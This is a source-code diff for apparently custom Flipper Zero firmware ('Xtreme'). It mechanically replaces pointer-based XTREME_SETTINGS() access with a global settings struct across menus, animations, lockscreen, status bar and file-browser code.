void xtreme_app_scene_misc_on_enter(void* context) {
XtremeApp* app = context;
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
VariableItemList* var_item_list = app->var_item_list;
VariableItem* item;
uint8_t value_index;
@@ -40,7 +39,7 @@ void xtreme_app_scene_misc_on_enter(void* context) {
variable_item_list_add(var_item_list, "Change Device Name", 0, NULL, app);
char cap_str[6];
value_index = xtreme_settings->charge_cap / CHARGE_CAP_INTV;
value_index = xtreme_settings.charge_cap / CHARGE_CAP_INTV;
snprintf(cap_str, 6, "%lu%%", (uint32_t)value_index * CHARGE_CAP_INTV);
item = variable_item_list_add(
var_item_list,

View File

@@ -57,14 +57,13 @@ static void xtreme_app_scene_misc_dolphin_butthurt_timer_changed(VariableItem* i
XtremeApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, butthurt_timer_names[index]);
XTREME_SETTINGS()->butthurt_timer = butthurt_timer_values[index];
xtreme_settings.butthurt_timer = butthurt_timer_values[index];
app->save_settings = true;
app->require_reboot = true;
}
void xtreme_app_scene_misc_dolphin_on_enter(void* context) {
XtremeApp* app = context;
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
VariableItemList* var_item_list = app->var_item_list;
VariableItem* item;
uint8_t value_index;
@@ -98,7 +97,7 @@ void xtreme_app_scene_misc_dolphin_on_enter(void* context) {
xtreme_app_scene_misc_dolphin_butthurt_timer_changed,
app);
value_index = value_index_uint32(
xtreme_settings->butthurt_timer, butthurt_timer_values, COUNT_OF(butthurt_timer_values));
xtreme_settings.butthurt_timer, butthurt_timer_values, COUNT_OF(butthurt_timer_values));
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, butthurt_timer_names[value_index]);

View File

@@ -22,7 +22,7 @@ static void xtreme_app_scene_misc_screen_dark_mode_changed(VariableItem* item) {
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->dark_mode = value;
xtreme_settings.dark_mode = value;
app->save_settings = true;
}
@@ -140,15 +140,14 @@ static void xtreme_app_scene_misc_screen_rainbow_saturation_changed(VariableItem
void xtreme_app_scene_misc_screen_on_enter(void* context) {
XtremeApp* app = context;
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
VariableItemList* var_item_list = app->var_item_list;
VariableItem* item;
uint8_t value_index;
item = variable_item_list_add(
var_item_list, "Dark Mode", 2, xtreme_app_scene_misc_screen_dark_mode_changed, app);
variable_item_set_current_value_index(item, xtreme_settings->dark_mode);
variable_item_set_current_value_text(item, xtreme_settings->dark_mode ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.dark_mode);
variable_item_set_current_value_text(item, xtreme_settings.dark_mode ? "ON" : "OFF");
item = variable_item_list_add(
var_item_list, "Left Handed", 2, xtreme_app_scene_misc_screen_hand_orient_changed, app);
@@ -157,7 +156,7 @@ void xtreme_app_scene_misc_screen_on_enter(void* context) {
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
item = variable_item_list_add(var_item_list, "RGB Backlight", 1, NULL, app);
variable_item_set_current_value_text(item, xtreme_settings->rgb_backlight ? "ON" : "OFF");
variable_item_set_current_value_text(item, xtreme_settings.rgb_backlight ? "ON" : "OFF");
struct {
uint8_t led;
@@ -190,7 +189,7 @@ void xtreme_app_scene_misc_screen_on_enter(void* context) {
snprintf(str, sizeof(str), "%02X%02X%02X", color.r, color.g, color.b);
variable_item_set_current_value_text(item, str);
}
variable_item_set_locked(item, !xtreme_settings->rgb_backlight, "Needs RGB\nBacklight!");
variable_item_set_locked(item, !xtreme_settings.rgb_backlight, "Needs RGB\nBacklight!");
}
item = variable_item_list_add(
@@ -202,7 +201,7 @@ void xtreme_app_scene_misc_screen_on_enter(void* context) {
value_index = rgb_backlight_get_rainbow_mode();
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, rainbow_lcd_names[value_index]);
variable_item_set_locked(item, !xtreme_settings->rgb_backlight, "Needs RGB\nBacklight!");
variable_item_set_locked(item, !xtreme_settings.rgb_backlight, "Needs RGB\nBacklight!");
item = variable_item_list_add(
var_item_list,
@@ -215,7 +214,7 @@ void xtreme_app_scene_misc_screen_on_enter(void* context) {
char speed_str[4];
snprintf(speed_str, sizeof(speed_str), "%d", value_index);
variable_item_set_current_value_text(item, speed_str);
variable_item_set_locked(item, !xtreme_settings->rgb_backlight, "Needs RGB\nBacklight!");
variable_item_set_locked(item, !xtreme_settings.rgb_backlight, "Needs RGB\nBacklight!");
item = variable_item_list_add(
var_item_list,
@@ -229,7 +228,7 @@ void xtreme_app_scene_misc_screen_on_enter(void* context) {
COUNT_OF(rainbow_interval_values));
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, rainbow_interval_names[value_index]);
variable_item_set_locked(item, !xtreme_settings->rgb_backlight, "Needs RGB\nBacklight!");
variable_item_set_locked(item, !xtreme_settings.rgb_backlight, "Needs RGB\nBacklight!");
item = variable_item_list_add(
var_item_list,
@@ -242,7 +241,7 @@ void xtreme_app_scene_misc_screen_on_enter(void* context) {
char saturation_str[4];
snprintf(saturation_str, sizeof(saturation_str), "%d", value_index);
variable_item_set_current_value_text(item, saturation_str);
variable_item_set_locked(item, !xtreme_settings->rgb_backlight, "Needs RGB\nBacklight!");
variable_item_set_locked(item, !xtreme_settings.rgb_backlight, "Needs RGB\nBacklight!");
variable_item_list_set_enter_callback(
var_item_list, xtreme_app_scene_misc_screen_var_item_list_callback, app);
@@ -263,7 +262,7 @@ bool xtreme_app_scene_misc_screen_on_event(void* context, SceneManagerEvent even
consumed = true;
switch(event.event) {
case VarItemListIndexRgbBacklight: {
bool change = XTREME_SETTINGS()->rgb_backlight;
bool change = xtreme_settings.rgb_backlight;
if(!change) {
DialogMessage* msg = dialog_message_alloc();
dialog_message_set_header(msg, "RGB Backlight", 64, 0, AlignCenter, AlignTop);
@@ -281,11 +280,11 @@ bool xtreme_app_scene_misc_screen_on_event(void* context, SceneManagerEvent even
dialog_message_free(msg);
}
if(change) {
XTREME_SETTINGS()->rgb_backlight = !XTREME_SETTINGS()->rgb_backlight;
xtreme_settings.rgb_backlight = !xtreme_settings.rgb_backlight;
app->save_settings = true;
app->save_backlight = true;
notification_message(app->notification, &sequence_display_backlight_on);
rgb_backlight_reconfigure(XTREME_SETTINGS()->rgb_backlight);
rgb_backlight_reconfigure(xtreme_settings.rgb_backlight);
scene_manager_previous_scene(app->scene_manager);
scene_manager_next_scene(app->scene_manager, XtremeAppSceneMiscScreen);
}

View File

@@ -17,7 +17,7 @@ static void xtreme_app_scene_protocols_bad_bt_changed(VariableItem* item) {
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "BT" : "USB");
XTREME_SETTINGS()->bad_bt = value;
xtreme_settings.bad_bt = value;
app->save_settings = true;
}
@@ -25,7 +25,7 @@ static void xtreme_app_scene_protocols_bad_bt_remember_changed(VariableItem* ite
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->bad_bt_remember = value;
xtreme_settings.bad_bt_remember = value;
app->save_settings = true;
}
@@ -38,14 +38,13 @@ static void xtreme_app_scene_protocols_subghz_extend_changed(VariableItem* item)
void xtreme_app_scene_protocols_on_enter(void* context) {
XtremeApp* app = context;
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
VariableItemList* var_item_list = app->var_item_list;
VariableItem* item;
item = variable_item_list_add(
var_item_list, "BadKB Mode", 2, xtreme_app_scene_protocols_bad_bt_changed, app);
variable_item_set_current_value_index(item, xtreme_settings->bad_bt);
variable_item_set_current_value_text(item, xtreme_settings->bad_bt ? "BT" : "USB");
variable_item_set_current_value_index(item, xtreme_settings.bad_bt);
variable_item_set_current_value_text(item, xtreme_settings.bad_bt ? "BT" : "USB");
item = variable_item_list_add(
var_item_list,
@@ -53,8 +52,8 @@ void xtreme_app_scene_protocols_on_enter(void* context) {
2,
xtreme_app_scene_protocols_bad_bt_remember_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->bad_bt_remember);
variable_item_set_current_value_text(item, xtreme_settings->bad_bt_remember ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.bad_bt_remember);
variable_item_set_current_value_text(item, xtreme_settings.bad_bt_remember ? "ON" : "OFF");
item = variable_item_list_add(var_item_list, "SubGHz Freqs", 0, NULL, app);
variable_item_set_current_value_text(item, ">");

View File

@@ -15,52 +15,51 @@ void xtreme_app_scene_protocols_gpio_var_item_list_callback(void* context, uint3
static void xtreme_app_scene_protocols_gpio_cc1101_handle_changed(VariableItem* item) {
XtremeApp* app = variable_item_get_context(item);
XTREME_SETTINGS()->spi_cc1101_handle =
xtreme_settings.spi_cc1101_handle =
variable_item_get_current_value_index(item) == 0 ? SpiDefault : SpiExtra;
variable_item_set_current_value_text(
item, XTREME_SETTINGS()->spi_cc1101_handle == SpiDefault ? "Default" : "Extra");
item, xtreme_settings.spi_cc1101_handle == SpiDefault ? "Default" : "Extra");
app->save_settings = true;
}
static void xtreme_app_scene_protocols_gpio_nrf24_handle_changed(VariableItem* item) {
XtremeApp* app = variable_item_get_context(item);
XTREME_SETTINGS()->spi_nrf24_handle =
xtreme_settings.spi_nrf24_handle =
variable_item_get_current_value_index(item) == 0 ? SpiDefault : SpiExtra;
variable_item_set_current_value_text(
item, XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault ? "Default" : "Extra");
item, xtreme_settings.spi_nrf24_handle == SpiDefault ? "Default" : "Extra");
app->save_settings = true;
}
static void xtreme_app_scene_protocols_gpio_esp32_channel_changed(VariableItem* item) {
XtremeApp* app = variable_item_get_context(item);
XTREME_SETTINGS()->uart_esp_channel =
xtreme_settings.uart_esp_channel =
variable_item_get_current_value_index(item) == 0 ? UARTDefault : UARTExtra;
variable_item_set_current_value_text(
item, XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? "13,14" : "15,16");
item, xtreme_settings.uart_esp_channel == UARTDefault ? "13,14" : "15,16");
app->save_settings = true;
}
static void xtreme_app_scene_protocols_gpio_nmea_channel_changed(VariableItem* item) {
XtremeApp* app = variable_item_get_context(item);
XTREME_SETTINGS()->uart_nmea_channel =
xtreme_settings.uart_nmea_channel =
variable_item_get_current_value_index(item) == 0 ? UARTDefault : UARTExtra;
variable_item_set_current_value_text(
item, XTREME_SETTINGS()->uart_nmea_channel == UARTDefault ? "13,14" : "15,16");
item, xtreme_settings.uart_nmea_channel == UARTDefault ? "13,14" : "15,16");
app->save_settings = true;
}
static void xtreme_app_scene_protocols_gpio_general_channel_changed(VariableItem* item) {
XtremeApp* app = variable_item_get_context(item);
XTREME_SETTINGS()->uart_general_channel =
xtreme_settings.uart_general_channel =
variable_item_get_current_value_index(item) == 0 ? UARTDefault : UARTExtra;
variable_item_set_current_value_text(
item, XTREME_SETTINGS()->uart_general_channel == UARTDefault ? "13,14" : "15,16");
item, xtreme_settings.uart_general_channel == UARTDefault ? "13,14" : "15,16");
app->save_settings = true;
}
void xtreme_app_scene_protocols_gpio_on_enter(void* context) {
XtremeApp* app = context;
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
VariableItemList* var_item_list = app->var_item_list;
VariableItem* item;
@@ -70,9 +69,9 @@ void xtreme_app_scene_protocols_gpio_on_enter(void* context) {
2,
xtreme_app_scene_protocols_gpio_cc1101_handle_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->spi_cc1101_handle);
variable_item_set_current_value_index(item, xtreme_settings.spi_cc1101_handle);
variable_item_set_current_value_text(
item, xtreme_settings->spi_cc1101_handle == SpiDefault ? "Default" : "Extra");
item, xtreme_settings.spi_cc1101_handle == SpiDefault ? "Default" : "Extra");
item = variable_item_list_add(
var_item_list,
@@ -80,9 +79,9 @@ void xtreme_app_scene_protocols_gpio_on_enter(void* context) {
2,
xtreme_app_scene_protocols_gpio_nrf24_handle_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->spi_nrf24_handle);
variable_item_set_current_value_index(item, xtreme_settings.spi_nrf24_handle);
variable_item_set_current_value_text(
item, xtreme_settings->spi_nrf24_handle == SpiDefault ? "Default" : "Extra");
item, xtreme_settings.spi_nrf24_handle == SpiDefault ? "Default" : "Extra");
item = variable_item_list_add(
var_item_list,
@@ -90,9 +89,9 @@ void xtreme_app_scene_protocols_gpio_on_enter(void* context) {
2,
xtreme_app_scene_protocols_gpio_esp32_channel_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->uart_esp_channel);
variable_item_set_current_value_index(item, xtreme_settings.uart_esp_channel);
variable_item_set_current_value_text(
item, xtreme_settings->uart_esp_channel == UARTDefault ? "13,14" : "15,16");
item, xtreme_settings.uart_esp_channel == UARTDefault ? "13,14" : "15,16");
item = variable_item_list_add(
var_item_list,
@@ -100,9 +99,9 @@ void xtreme_app_scene_protocols_gpio_on_enter(void* context) {
2,
xtreme_app_scene_protocols_gpio_nmea_channel_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->uart_nmea_channel);
variable_item_set_current_value_index(item, xtreme_settings.uart_nmea_channel);
variable_item_set_current_value_text(
item, xtreme_settings->uart_nmea_channel == UARTDefault ? "13,14" : "15,16");
item, xtreme_settings.uart_nmea_channel == UARTDefault ? "13,14" : "15,16");
item = variable_item_list_add(
var_item_list,
@@ -110,9 +109,9 @@ void xtreme_app_scene_protocols_gpio_on_enter(void* context) {
2,
xtreme_app_scene_protocols_gpio_general_channel_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->uart_general_channel);
variable_item_set_current_value_index(item, xtreme_settings.uart_general_channel);
variable_item_set_current_value_text(
item, xtreme_settings->uart_general_channel == UARTDefault ? "13,14" : "15,16");
item, xtreme_settings.uart_general_channel == UARTDefault ? "13,14" : "15,16");
variable_item_list_set_enter_callback(
var_item_list, xtreme_app_scene_protocols_gpio_var_item_list_callback, app);

View File

@@ -206,8 +206,6 @@ XtremeApp* xtreme_app_alloc() {
// Settings init
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
app->asset_pack_index = 0;
CharList_init(app->asset_pack_names);
Storage* storage = furi_record_open(RECORD_STORAGE);
@@ -229,7 +227,7 @@ XtremeApp* xtreme_app_alloc() {
if(app->asset_pack_index != 0) {
if(idx < app->asset_pack_index) app->asset_pack_index++;
} else {
if(strcmp(copy, xtreme_settings->asset_pack) == 0)
if(strcmp(copy, xtreme_settings.asset_pack) == 0)
app->asset_pack_index = idx + 1;
}
}

View File

@@ -148,7 +148,7 @@ void animation_manager_check_blocking_process(AnimationManager* animation_manage
const StorageAnimationManifestInfo* manifest_info =
animation_storage_get_meta(animation_manager->current_animation);
bool valid = animation_manager_is_valid_idle_animation(
manifest_info, &stats, XTREME_SETTINGS()->unlock_anims);
manifest_info, &stats, xtreme_settings.unlock_anims);
if(!valid) {
animation_manager_start_new_idle(animation_manager);
@@ -203,9 +203,8 @@ static void animation_manager_start_new_idle(AnimationManager* animation_manager
const BubbleAnimation* bubble_animation =
animation_storage_get_bubble_animation(animation_manager->current_animation);
animation_manager->state = AnimationManagerStateIdle;
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
int32_t duration = (xtreme_settings->cycle_anims == 0) ? (bubble_animation->duration) :
(xtreme_settings->cycle_anims);
int32_t duration = (xtreme_settings.cycle_anims == 0) ? (bubble_animation->duration) :
(xtreme_settings.cycle_anims);
furi_timer_start(
animation_manager->idle_animation_timer, (duration > 0) ? (duration * 1000) : 0);
}
@@ -389,14 +388,14 @@ static StorageAnimation*
furi_record_close(RECORD_DOLPHIN);
uint32_t whole_weight = 0;
bool fallback = XTREME_SETTINGS()->fallback_anim;
bool fallback = xtreme_settings.fallback_anim;
if(StorageAnimationList_size(animation_list) == dolphin_internal_size + 1 && !fallback) {
// One ext anim and fallback disabled, dont skip current anim (current = only ext one)
avoid_animation = NULL;
}
StorageAnimationList_it_t it;
bool unlock = XTREME_SETTINGS()->unlock_anims;
bool unlock = xtreme_settings.unlock_anims;
for(StorageAnimationList_it(it, animation_list); !StorageAnimationList_end_p(it);) {
StorageAnimation* storage_animation = *StorageAnimationList_ref(it);
const StorageAnimationManifestInfo* manifest_info =
@@ -531,7 +530,7 @@ void animation_manager_load_and_continue_animation(AnimationManager* animation_m
const StorageAnimationManifestInfo* manifest_info =
animation_storage_get_meta(restore_animation);
bool valid = animation_manager_is_valid_idle_animation(
manifest_info, &stats, XTREME_SETTINGS()->unlock_anims);
manifest_info, &stats, xtreme_settings.unlock_anims);
if(valid) {
animation_manager_replace_current_animation(
animation_manager, restore_animation);
@@ -545,10 +544,9 @@ void animation_manager_load_and_continue_animation(AnimationManager* animation_m
const BubbleAnimation* bubble_animation =
animation_storage_get_bubble_animation(
animation_manager->current_animation);
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
int32_t duration = (xtreme_settings->cycle_anims == 0) ?
int32_t duration = (xtreme_settings.cycle_anims == 0) ?
(bubble_animation->duration) :
(xtreme_settings->cycle_anims);
(xtreme_settings.cycle_anims);
furi_timer_start(
animation_manager->idle_animation_timer,
(duration > 0) ? (duration * 1000) : 0);

View File

@@ -23,13 +23,12 @@ static void animation_storage_free_animation(BubbleAnimation** storage_animation
static BubbleAnimation* animation_storage_load_animation(const char* name);
void animation_handler_select_manifest() {
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
FuriString* anim_dir = furi_string_alloc();
FuriString* manifest = furi_string_alloc();
bool use_asset_pack = xtreme_settings->asset_pack[0] != '\0';
bool use_asset_pack = xtreme_settings.asset_pack[0] != '\0';
if(use_asset_pack) {
furi_string_printf(
anim_dir, "%s/%s/Anims", XTREME_ASSETS_PATH, xtreme_settings->asset_pack);
anim_dir, "%s/%s/Anims", XTREME_ASSETS_PATH, xtreme_settings.asset_pack);
furi_string_printf(manifest, "%s/manifest.txt", furi_string_get_cstr(anim_dir));
Storage* storage = furi_record_open(RECORD_STORAGE);
if(storage_common_stat(storage, furi_string_get_cstr(manifest), NULL) == FSE_OK) {
@@ -514,7 +513,7 @@ static BubbleAnimation* animation_storage_load_animation(const char* name) {
if(!flipper_format_read_uint32(ff, "Active cycles", &u32value, 1)) break; //-V779
animation->active_cycles = u32value;
if(!flipper_format_read_uint32(ff, "Frame rate", &u32value, 1)) break;
uint32_t anim_speed = XTREME_SETTINGS()->anim_speed;
uint32_t anim_speed = xtreme_settings.anim_speed;
u32value = (u32value * anim_speed) / 100;
FURI_CONST_ASSIGN(animation->icon_animation.frame_rate, u32value < 1 ? 1 : u32value);
if(!flipper_format_read_uint32(ff, "Duration", &u32value, 1)) break;

View File

@@ -66,13 +66,13 @@ static void desktop_clock_reconfigure(Desktop* desktop) {
desktop_clock_update(desktop);
if(XTREME_SETTINGS()->statusbar_clock) {
if(xtreme_settings.statusbar_clock) {
furi_timer_start(desktop->update_clock_timer, furi_ms_to_ticks(1000));
} else {
furi_timer_stop(desktop->update_clock_timer);
}
view_port_enabled_set(desktop->clock_viewport, XTREME_SETTINGS()->statusbar_clock);
view_port_enabled_set(desktop->clock_viewport, xtreme_settings.statusbar_clock);
}
static void desktop_clock_draw_callback(Canvas* canvas, void* context) {
@@ -209,7 +209,7 @@ void desktop_lock(Desktop* desktop, bool pin_lock) {
Cli* cli = furi_record_open(RECORD_CLI);
cli_session_close(cli);
furi_record_close(RECORD_CLI);
if(!XTREME_SETTINGS()->allow_locked_rpc_commands) {
if(!xtreme_settings.allow_locked_rpc_commands) {
Bt* bt = furi_record_open(RECORD_BT);
bt_close_rpc_connection(bt);
furi_record_close(RECORD_BT);
@@ -484,7 +484,7 @@ int32_t desktop_srv(void* p) {
scene_manager_next_scene(desktop->scene_manager, DesktopSceneMain);
if(XTREME_SETTINGS()->lock_on_boot || furi_hal_rtc_is_flag_set(FuriHalRtcFlagLock)) {
if(xtreme_settings.lock_on_boot || furi_hal_rtc_is_flag_set(FuriHalRtcFlagLock)) {
desktop_lock(desktop, true);
} else {
if(!loader_is_locked(desktop->loader)) {

View File

@@ -15,7 +15,7 @@ void desktop_scene_fault_on_enter(void* context) {
Popup* popup = desktop->hw_mismatch_popup;
popup_set_context(popup, desktop);
if(XTREME_SETTINGS()->is_nsfw) {
if(xtreme_settings.is_nsfw) {
popup_set_header(
popup,
"Slut passed out\n but is now back",

View File

@@ -59,7 +59,7 @@ static void desktop_scene_pin_input_done_callback(const PinCode* pin_code, void*
view_dispatcher_send_custom_event(desktop->view_dispatcher, DesktopPinInputEventUnlocked);
} else {
uint32_t pin_fails = furi_hal_rtc_get_pin_fails() + 1;
if(pin_fails >= 10 && XTREME_SETTINGS()->bad_pins_format) {
if(pin_fails >= 10 && xtreme_settings.bad_pins_format) {
furi_hal_rtc_set_pin_fails(0);
furi_hal_rtc_set_flag(FuriHalRtcFlagFactoryReset);
storage_sd_format(furi_record_open(RECORD_STORAGE));

View File

@@ -101,7 +101,7 @@ void desktop_lock_menu_draw_callback(Canvas* canvas, void* model) {
break;
case DesktopLockMenuIndexDarkMode:
icon = &I_CC_DarkMode_16x16;
enabled = XTREME_SETTINGS()->dark_mode;
enabled = xtreme_settings.dark_mode;
break;
case DesktopLockMenuIndexLock:
icon = &I_CC_Lock_16x16;
@@ -287,7 +287,7 @@ bool desktop_lock_menu_input_callback(InputEvent* event, void* context) {
desktop_event = DesktopLockMenuEventSettings;
break;
case DesktopLockMenuIndexDarkMode:
XTREME_SETTINGS()->dark_mode = !XTREME_SETTINGS()->dark_mode;
xtreme_settings.dark_mode = !xtreme_settings.dark_mode;
lock_menu->save_xtreme = true;
break;
case DesktopLockMenuIndexBluetooth:

View File

@@ -74,7 +74,6 @@ void desktop_view_locked_draw_lockscreen(Canvas* canvas, void* m) {
furi_hal_rtc_get_datetime(&datetime);
LocaleTimeFormat time_format = locale_get_time_format();
LocaleDateFormat date_format = locale_get_date_format();
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
bool pm;
if(time_format == LocaleTimeFormat24h) {
@@ -94,14 +93,14 @@ void desktop_view_locked_draw_lockscreen(Canvas* canvas, void* m) {
snprintf(date_str, 14, "%.2d-%.2d-%.4d", datetime.day, datetime.month, datetime.year);
}
if(!xtreme_settings->lockscreen_transparent) {
if(!xtreme_settings.lockscreen_transparent) {
canvas_draw_icon(canvas, 0, 0 + y, &I_Lockscreen);
}
if(xtreme_settings->lockscreen_time) {
if(xtreme_settings.lockscreen_time) {
canvas_set_font(canvas, FontBigNumbers);
canvas_draw_str(canvas, 0, 64 + y, time_str);
int offset = canvas_string_width(canvas, time_str) + 2;
if(xtreme_settings->lockscreen_seconds) {
if(xtreme_settings.lockscreen_seconds) {
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 0 + offset, 64 + y, second_str);
offset += canvas_string_width(canvas, ":00") + 2;
@@ -111,12 +110,12 @@ void desktop_view_locked_draw_lockscreen(Canvas* canvas, void* m) {
canvas_draw_str(canvas, 0 + offset, 64 + y, meridian_str);
}
}
if(xtreme_settings->lockscreen_date) {
if(xtreme_settings.lockscreen_date) {
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 0, 48 + y + 16 * !xtreme_settings->lockscreen_time, date_str);
canvas_draw_str(canvas, 0, 48 + y + 16 * !xtreme_settings.lockscreen_time, date_str);
}
if(model->view_state == DesktopViewLockedStateLockedHintShown &&
xtreme_settings->lockscreen_prompt) {
xtreme_settings.lockscreen_prompt) {
canvas_set_font(canvas, FontSecondary);
if(model->pin_locked) {
elements_bubble_str(

View File

@@ -81,7 +81,7 @@ Dolphin* dolphin_alloc() {
dolphin->state = dolphin_state_alloc();
dolphin->event_queue = furi_message_queue_alloc(8, sizeof(DolphinEvent));
dolphin->pubsub = furi_pubsub_alloc();
uint32_t butthurt_timer = XTREME_SETTINGS()->butthurt_timer;
uint32_t butthurt_timer = xtreme_settings.butthurt_timer;
dolphin->butthurt_timer = xTimerCreate(
NULL,
butthurt_timer ? ((int32_t)butthurt_timer * 1000) : -1,

View File

@@ -117,7 +117,7 @@ const CanvasFontParameters* canvas_get_font_params(const Canvas* canvas, Font fo
void canvas_clear(Canvas* canvas) {
furi_assert(canvas);
if(XTREME_SETTINGS()->dark_mode) {
if(xtreme_settings.dark_mode) {
u8g2_FillBuffer(&canvas->fb);
} else {
u8g2_ClearBuffer(&canvas->fb);
@@ -126,7 +126,7 @@ void canvas_clear(Canvas* canvas) {
void canvas_set_color(Canvas* canvas, Color color) {
furi_assert(canvas);
if(XTREME_SETTINGS()->dark_mode) {
if(xtreme_settings.dark_mode) {
if(color == ColorBlack) {
color = ColorWhite;
} else if(color == ColorWhite) {

View File

@@ -84,12 +84,10 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) {
canvas_frame_set(
gui->canvas, GUI_STATUS_BAR_X, GUI_STATUS_BAR_Y, GUI_DISPLAY_WIDTH, GUI_STATUS_BAR_HEIGHT);
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
/* for support black theme - paint white area and
* draw icon with transparent white color
*/
if(xtreme_settings->bar_background) {
if(xtreme_settings.bar_background) {
canvas_set_color(gui->canvas, ColorWhite);
canvas_draw_box(gui->canvas, 1, 1, 9, 7);
canvas_draw_box(gui->canvas, 7, 3, 58, 6);
@@ -122,7 +120,7 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) {
width + 2,
GUI_STATUS_BAR_WORKAREA_HEIGHT + 2);
// Hide battery background
if(xtreme_settings->bar_borders) {
if(xtreme_settings.bar_borders) {
canvas_set_color(gui->canvas, ColorWhite);
canvas_draw_box(
gui->canvas, -1, 0, canvas_width(gui->canvas) + 1, canvas_height(gui->canvas));
@@ -131,7 +129,7 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) {
// ViewPort draw
canvas_frame_set(
gui->canvas,
x - xtreme_settings->bar_borders,
x - xtreme_settings.bar_borders,
GUI_STATUS_BAR_Y + 2,
width,
GUI_STATUS_BAR_WORKAREA_HEIGHT);
@@ -148,7 +146,7 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) {
right_used + 4,
GUI_STATUS_BAR_HEIGHT);
// Disable battery border
if(xtreme_settings->bar_borders) {
if(xtreme_settings.bar_borders) {
canvas_set_color(gui->canvas, ColorBlack);
canvas_draw_rframe(
gui->canvas, 0, 0, canvas_width(gui->canvas), canvas_height(gui->canvas), 1);
@@ -168,7 +166,7 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) {
}
// Left side
if(xtreme_settings->status_icons) {
if(xtreme_settings.status_icons) {
x = 2;
ViewPortArray_it(it, gui->layers[GuiLayerStatusBarLeft]);
while(!ViewPortArray_end_p(it) && (right_used + left_used) < GUI_STATUS_BAR_WIDTH) {
@@ -183,7 +181,7 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) {
GUI_STATUS_BAR_Y + 1,
width + 2,
GUI_STATUS_BAR_WORKAREA_HEIGHT + 2);
if(xtreme_settings->bar_borders) {
if(xtreme_settings.bar_borders) {
canvas_set_color(gui->canvas, ColorWhite);
canvas_draw_box(
gui->canvas, 0, 0, canvas_width(gui->canvas), canvas_height(gui->canvas));
@@ -209,7 +207,7 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) {
GUI_STATUS_BAR_Y + 1,
width + 2,
GUI_STATUS_BAR_WORKAREA_HEIGHT + 2);
if(xtreme_settings->bar_borders) {
if(xtreme_settings.bar_borders) {
canvas_set_color(gui->canvas, ColorWhite);
canvas_draw_box(
gui->canvas, 0, 0, canvas_width(gui->canvas), canvas_height(gui->canvas));
@@ -226,7 +224,7 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) {
// Draw frame around icons on the left
if(left_used) {
canvas_frame_set(gui->canvas, 0, 0, left_used + 3, GUI_STATUS_BAR_HEIGHT);
if(xtreme_settings->bar_borders) {
if(xtreme_settings.bar_borders) {
canvas_draw_rframe(
gui->canvas, 0, 0, canvas_width(gui->canvas), canvas_height(gui->canvas), 1);
canvas_draw_line(
@@ -283,7 +281,7 @@ static void gui_redraw(Gui* gui) {
bool need_attention =
(gui_view_port_find_enabled(gui->layers[GuiLayerWindow]) != 0 ||
gui_view_port_find_enabled(gui->layers[GuiLayerFullscreen]) != 0);
if(XTREME_SETTINGS()->lockscreen_statusbar) {
if(xtreme_settings.lockscreen_statusbar) {
gui_redraw_status_bar(gui, need_attention);
}
} else {

View File

@@ -85,7 +85,7 @@ static int BrowserItem_t_cmp(const BrowserItem_t* a, const BrowserItem_t* b) {
if(b->type == BrowserItemTypeBack) {
return 1;
}
if(XTREME_SETTINGS()->sort_dirs_first) {
if(xtreme_settings.sort_dirs_first) {
if(a->type == BrowserItemTypeFolder && b->type != BrowserItemTypeFolder) {
return -1;
}

Some files were not shown because too many files have changed in this diff Show More